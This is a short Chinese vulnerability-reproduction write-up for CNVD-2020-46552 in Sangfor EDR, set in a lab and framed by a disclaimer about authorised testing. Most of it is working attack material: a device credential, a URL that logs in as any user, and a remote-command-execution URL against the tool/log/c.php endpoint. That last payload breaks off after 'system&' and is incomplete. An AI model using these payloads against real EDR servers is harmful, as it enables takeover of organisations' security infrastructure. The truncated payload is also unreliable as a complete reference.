sangfor EDR漏洞（CNVD-2020-46552）复现

声名：本项目仅用于测试工作和学习交流使用。 请使用者遵守当地相关法律，勿用于非授权测试，如作他用所承受的法律责任一概与本人无关！！！

深信服EDR远程命令执行漏洞影响版本：v3.2.16，3.2.17，3.2.19
本次测试环境搭建：EDR 3.2.19 ，kali（kali和EDR 3.2.19同在一个网段）

登录EDR账号：root
密码：edr@sangfor
查看ip

复现过程

1、任意用户登录

payload: https://ip地址/ui/login.php?user=任意用户名
例：https://192.168.195.33/ui/login.php?user=admin

2、远程代码执行

payload:
https://ip/tool/log/c.php?strip_slashes=system&